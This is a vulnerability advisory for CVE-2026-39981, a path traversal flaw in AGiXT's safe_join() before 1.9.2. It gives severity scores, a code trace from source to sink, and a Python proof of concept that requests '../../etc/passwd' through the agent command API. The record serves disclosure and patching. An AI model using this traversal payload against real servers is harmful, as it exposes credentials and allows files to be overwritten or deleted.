8.8high
AGiXT has a Path Traversal in safe_join()
- Severity
- 8.8high CVSS:3.1 by GitHub_M
- Exploit likelihood
- 1.37% (higher than 72% of CVEs; EPSS, by FIRST)
- Published
- Last changed
- Assigned by
- GitHub_M
- Also known as
- GHSA-5gfj-64gh-mgmwPYSEC-2026-2093
Description
AGiXT is a dynamic AI Agent Automation Platform. Prior to 1.9.2, the safe_join() function in the essential_abilities extension fails to validate that resolved file paths remain within the designated agent workspace. An authenticated attacker can use directory traversal sequences to read, write, or delete arbitrary files on the server hosting the AGiXT instance. This vulnerability is fixed in 1.9.2.
Affected
| Product or package | Versions | Reported by |
|---|---|---|
| Josh-XT AGiXT | < 1.9.2 | CVE List |
| agixt (PyPI) | before 1.9.2 | GitHub Advisory Database, PyPA Advisory Database |
| agixt agixt | before 1.9.2 | NVD |
All scores
| GitHub_M | 8.8high CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| GitHub | 8.8high CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| PyPA Advisory Database | 8.8high CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
Classification
SSVC (CISA-ADP): exploitation poc, automatable no, technical impact total.
What each source says
CVE List
AGiXT is a dynamic AI Agent Automation Platform. Prior to 1.9.2, the safe_join() function in the essential_abilities extension fails to validate that resolved file paths remain within the designated agent workspace. An authenticated attacker can use directory traversal sequences to read, write, or delete arbitrary files on the server hosting the AGiXT instance. This vulnerability is fixed in 1.9.2.
GitHub Advisory Database
Summary
The safe_join() function in the essential_abilities extension fails to validate that resolved file paths remain within the designated agent workspace. An authenticated attacker can use directory traversal sequences to read, write, or delete arbitrary files on the server hosting the AGiXT instance.
Details
agixt/endpoints/Extension.py:165 (source) -> agixt/XT.py:1035 (hop) -> agixt/extensions/essential_abilities.py:436 (sink)
# source
command_args = command.command_args
# hop
response = await Extensions(...).execute_command(command_name=command_name, command_args=command_args)
# sink
new_path = os.path.normpath(os.path.join(self.WORKING_DIRECTORY, *paths.split("/")))
PoC
# tested on: agixt<=1.9.1
# install: pip install agixt==1.9.1
import requests
BASE = "http://localhost:7437"
TOKEN = "<your_api_key>"
headers = {"Authorization": f"Bearer {TOKEN}"}
payload = {
"command_name": "read_file",
"command_args": {
"filename": "../../etc/passwd"
}
}
r = requests.post(f"{BASE}/api/agent/MyAgent/command", json=payload, headers=headers)
print(r.text)
# expected output: root:x:0:0:root:/root:/bin/bash ...
Impact
Authenticated users can read, overwrite, or delete arbitrary files on the host server, enabling credential theft, persistent code execution, or denial of service. Authentication is required but no elevated privileges are needed beyond a valid API key.
NVD (es)
AGiXT es una plataforma dinámica de automatización de agentes de IA. Antes de la versión 1.9.2, la función safe_join() en la extensión essential_abilities no valida que las rutas de archivo resueltas permanezcan dentro del espacio de trabajo del agente designado. Un atacante autenticado puede usar secuencias de salto de directorio para leer, escribir o eliminar archivos arbitrarios en el servidor que aloja la instancia de AGiXT. Esta vulnerabilidad se corrigió en la versión 1.9.2.
References
| https://github.com/Josh-XT/AGiXT/security/advisories/GHSA-5gfj-64gh-mgmw | evidence, exploit, vendor-advisory, web | |
| https://github.com/Josh-XT/AGiXT/commit/2079ea5a88fa671a921bf0b5eba887a5a1b73d5f | fix, patch, web | |
| https://github.com/Josh-XT/AGiXT/releases/tag/v1.9.2 | advisory, product, release-notes, web | |
| https://nvd.nist.gov/vuln/detail/CVE-2026-39981 | advisory | |
| https://github.com/Josh-XT/AGiXT | package | |
Sources
| Source | Record | Licence |
|---|---|---|
| CVE List | CVE-2026-39981 changed 2026-04-13 | CVE Terms of Use |
| GitHub Advisory Database | GHSA-5gfj-64gh-mgmw changed 2026-07-13 | CC-BY-4.0 |
| NVD | CVE-2026-39981 changed 2026-10-26 | Public domain |
| PyPA Advisory Database | PYSEC-2026-2093 changed 2026-07-13 | CC-BY-4.0 |